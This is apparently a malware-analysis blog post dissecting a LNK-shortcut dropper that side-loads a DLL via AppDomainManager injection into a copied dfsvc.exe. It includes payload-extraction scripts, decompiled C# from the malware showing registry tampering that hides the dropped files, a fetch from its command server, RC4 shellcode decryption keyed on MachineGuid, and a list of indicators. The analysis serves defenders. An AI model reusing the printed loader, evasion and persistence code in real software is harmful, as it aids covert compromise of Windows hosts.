> For the complete documentation index, see [llms.txt](https://0xsec.gitbook.io/0xsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xsec.gitbook.io/0xsec/malware-analysis/2026-03-04-lnk_malware.md).

# AppDomain Hijacking: Analyzing a LNK malware

### Overview

Windows shortcut files use the `.lnk` file extension and function as a virtual link that allows people to easily access other files without having to navigate through multiple folders on a Windows host. The flexibility of LNK files makes them a powerful tool for attackers, as they can both execute malicious content and masquerade as legitimate files to deceive victims into unintentionally launching malware.

<figure><img src="/files/hbWYGiNSIAbJVTss9rDC" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure: Execution Flow of malware</em></p>

### Technical Analysis

On getting `lnk` file i quickly looked into its metadata to find out the arguments it is utilizing and its clear that it has configured to look as a pdf file and since `lnk` extensions gets hidden in windows, it makes it more suitable as a attack vector. On dumping the configuration of the sample i found out that it is launching `powershell` in background with setting the [exeution policy](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.5) to **bypass** and also stops and user profile scripts from loading by `-nop`, sets the working directory to `temp` directory. Then, it reads itself after `2087` offset, mainly it extracts the next part of payload and writes it and executes it.

<figure><img src="/files/3DNZymzwTD92tRqPAqCf" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure 1: Setup of malware</em></p>

So i used a python script to extract the second part of the malware -

```python
import base64
import os

LNK_FILENAME = 'malware.lnk' 
OFFSET = 2087
READ_LENGTH = 930304

def extract_payload():
    if not os.path.exists(LNK_FILENAME):
        print(f"[-] Error: Could not find the file '{LNK_FILENAME}'.")
        return

    print(f"[*] Opening {LNK_FILENAME} and seeking to offset {OFFSET}...")
    
    try:
        with open(LNK_FILENAME, 'rb') as f:
            f.seek(OFFSET)
            # Read the exact chunk of base64 data
            b64_bytes = f.read(READ_LENGTH)
            
        print("[*] Decoding the first Base64 layer...")
        decoded_layer1 = base64.b64decode(b64_bytes)
        
        #UTF-16LE
        string_layer1 = decoded_layer1.decode('utf-16le')
        
        print("[*] Splitting the decoded string by ':' delimiter...")
        parts = string_layer1.split(':')
        
        if len(parts) > 4:
            target_part = parts[4]
            
            print("[*] Decoding the final Base64 payload...")
            final_payload_bytes = base64.b64decode(target_part)
            final_payload_string = final_payload_bytes.decode('utf-8')
            
            print("[*] Writing extracted script to out.ps1...")
            with open('out.ps1', 'w', encoding='utf-8') as out_f:
                out_f.write(final_payload_string)
                
            print("[+] Success! The payload has been saved to 'out.ps1'.")        
        else:
            print("[-] Error: The decoded data didn't contain the expected delimiters")

    except Exception as e:
        print(f"[-] An error occurred during extraction: {e}")

if __name__ == "__main__":
    extract_payload()
```

And it turned out that it is first searching for current user's startup folder to run if any binary is there and then to achieve it, it copies a legitimate windows binary `dfsvc.exe` of .NET framework to the startup folder with a name of `NetworkConfig.exe` because signed binaries bypasses basic AV checks. Then, it copies something from `lnk` file and stores it as a config named `NetworkConfig.exe.config`, this to forcefully load the dll, which it is extracting just after this as `NetworkConfig.dll`. After all this, it extracts another `conf` from `lnk` and stores it in `NetworkConfig.conf` and then starts the copied binary.

<figure><img src="/files/qLbWM9NLfHigujcXmx73" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure 2: Second payload extracted from lnk</em></p>

So, I extracted all the required files from the `lnk` using python script -

```python
import base64
import os

LNK_FILENAME = 'malware.lnk' 
OFFSET = 2087
READ_LENGTH = 930304

def extract_all_payloads():
    if not os.path.exists(LNK_FILENAME):
        print(f"[-] Error: Could not find '{LNK_FILENAME}'.")
        return

    print(f"[*] Opening {LNK_FILENAME} and seeking to offset {OFFSET}...")
    
    try:
        with open(LNK_FILENAME, 'rb') as f:
            f.seek(OFFSET)
            b64_bytes = f.read(READ_LENGTH)
            
        print("[*] Decoding the first Base64 layer...")
        decoded_layer1 = base64.b64decode(b64_bytes)
        
        #UTF-16LE
        string_layer1 = decoded_layer1.decode('utf-16le')
        
        print("[*] Splitting the decoded string into the $a array...")
        parts = string_layer1.split(':')
        
        if len(parts) >= 5:
            print("[*] Found components Extracting...\n")
            files_to_dump = [
                ("NetworkConfig.exe.config", parts[0]), # $a[0]
                ("NetworkConfig.dll", parts[1]),        # $a[1]
                ("decoy.pdf", parts[2]),                # $a[2] - The fake document
                ("NetworkConfig.conf", parts[3]),       # $a[3] - The encrypted payload
            ]
            
            for filename, b64_data in files_to_dump:
                try:
                    raw_bytes = base64.b64decode(b64_data)
                    with open(filename, 'wb') as out_f:
                        out_f.write(raw_bytes)
                    print(f"[+] Successfully wrote: {filename} ({len(raw_bytes)} bytes)")
                    
                except Exception as e:
                    print(f"[-] Failed to process {filename}: {e}")
                    
            print("\n[!] Extraction complete")
            
        else:
            print("[-] Error: Check the offset/length.")

    except Exception as e:
        print(f"[-] A fatal error occurred: {e}")

if __name__ == "__main__":
    extract_all_payloads()
```

The config file `NetworkConfig.exe.config` is a way of using [AppDomainManager Injection](https://ipslav.github.io/2023-12-12-let-me-manage-your-appdomain/) for DLL-Side loading by defining some attributes in XML file that tells the .NET Runtime to load custom app domain manager named `NetworkConfig` before executing main application.

<figure><img src="/files/BOb1NVVg878BidgzOvAw" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure 3: AppDomainManager Injection</em></p>

Now opening the `dll` in a decompiler, first thing I uncovered that the malware is using unicode characters like `U+00A0`, mostly invisible characters which is common obfuscation technique in .NET sample. Now the function `u00a0` is used to crafting a standard HTTP request for fetching data and just after this another function named `u00a0` which is checking some common sandbox evasion techniques, first it checks is [default domain](https://learn.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525919\(v=vs.90\)) if its being tampered, checks existence of `NetworkConfig.conf` file, sleep loop for automated sandboxes.

<figure><img src="/files/KaQlnQbqBLlBTva1R7vP" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure 4: Sandbox evasion techniques</em></p>

But before moving any further we have to find out the string decryption engine to understand what strings are being passed rather than guessing. On expanding `PrivateImplementatioDetails`, there is a constructor `u003670D375Bu002dB8F4u002d45A4u002d94F9u002d00A08E8BCEA0()` that is just xoring a blob of data using current index and constant `204`. And based on this other getter functions have been created to return these decrypted values, So i decrypted these strings and correctly mapping each of them with required getter functions. I found interesting things from this like C2 url, endpoints, User-Agent, Names, RegKey used.

```
Index 00 (Offset 0, Len 17): NetworkConfig.dll
Index 01 (Offset 17, Len 24): NetworkConfig.exe.config
Index 02 (Offset 41, Len 18): NetworkConfig.conf
Index 03 (Offset 59, Len 80): Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder
Index 04 (Offset 139, Len 6): chrome
Index 05 (Offset 145, Len 5): brave
Index 06 (Offset 150, Len 12): PipesOfPiece
Index 07 (Offset 162, Len 9): AABBCC123
Index 08 (Offset 171, Len 10): {0}{1}/{2}
Index 09 (Offset 181, Len 3): GET
Index 10 (Offset 184, Len 23): text/html;charset=UTF-8
Index 11 (Offset 207, Len 13): DefaultDomain
Index 12 (Offset 220, Len 50): HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography
Index 13 (Offset 270, Len 11): MachineGuid
Index 14 (Offset 281, Len 36): 849d16c2-829f-4e19-93ba-cb0e2c309afc
Index 15 (Offset 317, Len 29): https://mskmailforwarder.com/
Index 16 (Offset 346, Len 81): Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.22621.4249
Index 17 (Offset 427, Len 19): \NetworkConfig.conf
Index 18 (Offset 446, Len 12): api/auth.php
Index 19 (Offset 458, Len 22): api/batchLogHandle.php
Index 20 (Offset 480, Len 65): \Microsoft\Windows\Start Menu\Programs\Startup\NetworkConfig.conf
```

Now coming to `InitializeNewDomain` function, first thing it does is calls `\u1680.\u1680();` which opens makes a new seperate thread and creates a named pipe `PipesOfPiece` and starts a infinite while loop that waits for client program to connect and reads whatever client sends, reverse it and sends back to client and then close the connection and this loop continues. Now `\u1680.\u00a0();`, it queries registery for value of `chrome and brave` and it also creates a named pipe and sends `AABBCC123` to server and closes the pipe.

<figure><img src="/files/fjjeDNZDEo9xz4fQSErm" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure 5: Creating Named pipes</em></p>

<figure><img src="/files/iqFfLGSbpjDzFHMZ3dOm" alt=""><figcaption></figcaption></figure>

<p align="center"><em>Figure 6: Sandbox evasion techniques</em></p>

Then, it calls `global::\u00a0.\u00a0.\u00a0();` which reads or creates the registry key if didn't exist `Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder` and [disable the autostart program](https://windowsir.blogspot.com/2022/07/does-autostart-really-mean-autostart.html) `3, 0, 0, 0` from hardcoded command, which disables its non-executables `NetworkConfig.dll, NetworkConfig.exe.config, NetworkConfig.conf`.

```c#
using Microsoft.Win32;

public static void \u00a0()
{
    RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder");
    if (registryKey != null)
    {
        byte[] value = new byte[12]
        {
            3, 0, 0, 0, 222, 170, 80, 144, 242, 136,    //disables
            219, 1
        };
        string[] array = new string[3]{"NetworkConfig.dll", "NetworkConfig.exe.config", "NetworkConfig.conf"};
        foreach (string name in array)
        {
            registryKey.SetValue(name, value, RegistryValueKind.Binary);
        }
        registryKey.Close();
    }
}
```

Then it crafts, the url `https[:]//mskmailforwarder[.]com/849d16c2-829f-4e19-93ba-cb0e2c309afc/api/auth[.]php` makes request to it and maps a memory region of `150000 bytes` with RWX permissions, this will be the region where it will drop its main shellcode, then if the file `C:\Users\<Username>\AppData\Local\NetworkConfig.conf` exists but on the first run it won't be there, then it takes this file as 1st parameter and value of registry `MachineGuid` from `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography` as 2nd into `\u2001.\u00a0()` which is basically a [RC4 cipher](https://www.geeksforgeeks.org/computer-networks/rc4-encryption-algorithm/) which uses the **MachineGuid** as the key after xoring it wtih `0x41` to decrpyt the main shellcode. Else it will take response from `https[:]//mskmailforwarder[.]com/849d16c2-829f-4e19-93ba-cb0e2c309afc/api/batchLogHandle[.]php` and XOR it with `0x41` and use it to decrypt the shellcode and stores it an array and then again re-encrypts the shellcode but using the victim's `MachineGuid` and save into `C:\Users\<Username>\AppData\Local\NetworkConfig.conf` then delete the original file `NetworkConfig.conf`, and writes this shellcode into the mapped memory region. In the initial run the `else` would be executed and that uses `C2 key` for initial decryption of payload, then on reboot the `if` block executes which uses `Victim` keys for decryption of shellcode.

```c#
    public override void InitializeNewDomain(AppDomainSetup P_0)
    {
        \u1680.\u1680();                // create named pipe
        \u1680.\u00a0();                // probe chrome and brave registry
        bool num = \u00a0();            // common evasion technique    
        global::\u00a0.\u00a0.\u00a0(); // disable autostart program
        if (num)
        {
            \u00a0(string.Format(670D375B-B8F4-45A4-94F9-00A08E8BCEA0.\u2006(), \u2004.\u1680, \u2004.\u00a0, \u2004.\u2002)); // make request to https[:]//mskmailforwarder[.]com/849d16c2-829f-4e19-93ba-cb0e2c309afc/api/auth[.]php
            return;
        }
        int num2 = 150000;  // size of memory to be mapped
        MemoryMappedViewAccessor memoryMappedViewAccessor = MemoryMappedFile.CreateNew(null, num2, MemoryMappedFileAccess.ReadWriteExecute).CreateViewAccessor(0L, num2, MemoryMappedFileAccess.ReadWriteExecute);
        string text = \u2004.\u2001;    // location of NetworkConfig.conf
        byte[] array;
        if (File.Exists(text))
        {
            array = \u2001.\u00a0(\u2000.\u00a0(text), \u2001.\u00a0(\u2001.\u00a0));   // array = rc4(read_file(C:\Users\<Username>\AppData\Local\NetworkConfig.conf), xor_with_0x41(MachineGuid))
        }
        else
        {
            string text2 = string.Format(670D375B-B8F4-45A4-94F9-00A08E8BCEA0.\u2006(), \u2004.\u1680, \u2004.\u00a0, \u2004.\u2003);
            byte[] array2 = \u2001.\u00a0(\u00a0(text2)); // xor reponse of https[:]//mskmailforwarder[.]com/849d16c2-829f-4e19-93ba-cb0e2c309afc/api/batchLogHandle[.]php with 0x41
            \u1680.\u00a0();
            array = \u2001.\u00a0(\u2000.\u00a0(\u2004.\u2004), array2); // array = rc4(read_file(NetworkConfig.conf), xored_response_as_key)
            \u2000.\u00a0(text, \u2001.\u00a0(array, \u2001.\u00a0(\u2001.\u00a0))); // rencryptes NetworkConfig.conf using victim MachineGuid
            File.Delete(\u2004.\u2004); // deletes original NetworkConfig.conf
        }
        \u1680.\u00a0();
        new \u2003().\u00a0(memoryMappedViewAccessor, array); // write decrypted shellcode to mapped memory region
    }
```

Since the C2 infra is offline I won't able to proceed further with analysis.

### Conclusion

The malware uses a sophisticated approach to payload delivery, evasion, and environmental keying. By leveraging an AppDomain hijack to side-load its core DLL through a legitimate Microsoft binary (dfsvc.exe). Instead of relying on a static decryption key, the loader implements a dynamic, phase-based execution flow. The initial infection mandates a live connection to the attacker's C2 infrastructure to fetch the master key via a custom XOR routine, effectively neutralizing offline static analysis and sandboxing. Once decrypted in memory, the malware pivots: it re-encrypts the raw shellcode using the victim's unique registry MachineGuid and caches it in `%LocalAppData%`. Ultimately, while burned C2 infrastructure can prevent the static extraction of the initial dropper's shellcode.

### IOCs

* C2 Domain - `mskmailforwarder[.]com`
* Endpoints - `api/auth.php, api/batchLogHandle.php`
* Dropped Files - `NetworkConfig.conf, NetworkConfig.exe.config, NetworkConfig.dll`
* Registries - `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid, HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\StartupFolder`
* Hashes

```
194668569a83fa94b74eb676ab56e8bb -> LNK malware
4a672428be43949fc3445a9040d94839 -> NetworkConfig.conf
4c6bd741919da9776dadf0c0d3e8f84b -> NetworkConfig.exe.config
87c74787cd277ac678c555be3e4980bb -> NetworkConfig.dll
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://0xsec.gitbook.io/0xsec/malware-analysis/2026-03-04-lnk_malware.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
